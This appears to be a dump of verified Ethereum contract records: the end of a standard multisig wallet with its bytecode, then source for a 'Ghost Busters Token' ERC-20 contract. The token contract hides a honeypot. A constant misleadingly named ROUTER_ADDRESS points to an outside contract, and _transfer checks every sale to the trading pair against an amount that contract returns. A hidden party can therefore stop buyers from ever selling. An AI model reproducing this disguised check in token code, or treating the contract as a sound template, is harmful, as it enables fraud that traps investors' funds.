onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d58565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d87565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611012565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610416600480360381019080803590602001909291905050506110f7565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111c2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611345565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114b6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be6116f3565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506116f9565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117ab565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611984565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119a3565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119a8565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cc1565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b9190611fc7565b506003805490506004541115610b4a57610b496003805490506116f9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c8457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1257838015610dc6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610df95750828015610df8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e05576001820191505b8080600101915050610d8f565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eab57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b6001600380549050016004546032821180610eea57508181115b80610ef55750600081145b80610f005750600082145b15610f0a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ef5760016000858152602001908152602001600020600060038381548110151561105057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110cf576001820191505b6004548214156110e257600192506110f0565b808060010191505061101f565b5b5050919050565b600080600090505b6003805490508110156111bc5760016000848152602001908152602001600020600060038381548110151561113057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af576001820191505b80806001019150506110ff565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561129a5780601f1061126f5761010080835404028352916020019161129a565b820191906000526020600020905b81548152906001019060200180831161127d57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561133b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112f1575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561137c5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611428578580156113bf575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113f257508480156113f1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561141b5780838381518110151561140657fe5b90602001906020020181815250506001820191505b8080600101915050611388565b8787036040519080825280602002602001820160405280156114595781602001602082028038833980820191505090505b5093508790505b868110156114ab57828181518110151561147657fe5b906020019060200201518489830381518110151561149057fe5b90602001906020020181815250508080600101915050611460565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114f05781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561163d5760016000868152602001908152602001600020600060038381548110151561152d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611630576003818154811015156115b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115ed57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114fc565b8160405190808252806020026020018201604052801561166c5781602001602082028038833980820191505090505b509350600090505b818110156116eb57828181518110151561168a57fe5b9060200190602002015184828151811015156116a257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611674565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173357600080fd5b60038054905081603282118061174857508181115b806117535750600081145b8061175e5750600082145b1561176857600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180457600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561185e57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c857600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361197d85611cc1565b5050505050565b6000611991848484611e77565b905061199c816117ab565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ea57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a4357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a9b57600080fd5b600092505b600380549050831015611b84578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ad357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b775783600384815481101515611b2a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b84565b8280600101935050611aa0565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611cf157600080fd5b611cfa83611012565b15611e7257600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611dd95780601f10611dae57610100808354040283529160200191611dd9565b820191906000526020600020905b815481529060010190602001808311611dbc57829003601f168201915b505091505060006040518083038185875af19250505015611e2657827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e71565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e9e57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f5d929190611ff3565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811115611fee57818360005260206000209182019101611fed9190612073565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203457805160ff1916838001178555612062565b82800160010185558215612062579182015b82811115612061578251825591602001919060010190612046565b5b50905061206f9190612073565b5090565b61209591905b80821115612091576000816000905550600101612079565b5090565b905600a165627a7a72305820b89ac6b9983bddb2377de94dedea4d3e126721e1cb2196157b85448b84011e0e0029
{"success": true, "error": null, "results": {}}
8,564
0xE4E9DBAf9111A063E053d9A24131815BdBa408C7
//SPDX-License-Identifier: MIT // Telegram: https://t.me/GhostbustersToken pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } uint256 constant INITIAL_TAX=4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=2300000000; string constant TOKEN_SYMBOL="GB"; string constant TOKEN_NAME="Ghost Busters Token"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GhostBuster is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b411461029e5780639e752b95146102c9578063a9059cbb146102e9578063dd62ed3e14610309578063f42938901461034f57600080fd5b806356d9dce81461022c57806370a0823114610241578063715018a6146102615780638da5cb5b1461027657600080fd5b8063293230b8116100d1578063293230b8146101cf578063313ce567146101e65780633e07ce5b1461020257806351bc3c851461021757600080fd5b806306fdde031461010e578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601381527223b437b9ba10213ab9ba32b939902a37b5b2b760691b60208201525b6040516101539190611564565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046115ce565b610364565b6040519015158152602001610153565b34801561019857600080fd5b506101a161037b565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca3660046115fa565b61039c565b3480156101db57600080fd5b506101e4610405565b005b3480156101f257600080fd5b5060405160068152602001610153565b34801561020e57600080fd5b506101e46107c8565b34801561022357600080fd5b506101e46107fe565b34801561023857600080fd5b506101e461082b565b34801561024d57600080fd5b506101a161025c36600461163b565b6108ac565b34801561026d57600080fd5b506101e46108ce565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102aa57600080fd5b5060408051808201909152600281526123a160f11b6020820152610146565b3480156102d557600080fd5b506101e46102e4366004611658565b610972565b3480156102f557600080fd5b5061017c6103043660046115ce565b61099b565b34801561031557600080fd5b506101a1610324366004611671565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506101e46109a8565b6000610371338484610a12565b5060015b92915050565b60006103896006600a6117a4565b6103979063891737006117b3565b905090565b60006103a9848484610b36565b6103fb84336103f685604051806060016040528060288152602001611931602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e81565b610a12565b5060019392505050565b6009546001600160a01b0316331461041c57600080fd5b600c54600160a01b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a79030906001600160a01b03166104996006600a6117a4565b6103f69063891737006117b3565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104f557600080fd5b505afa158015610509573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052d91906117d2565b6001600160a01b031663c9c6539630600b60009054906101000a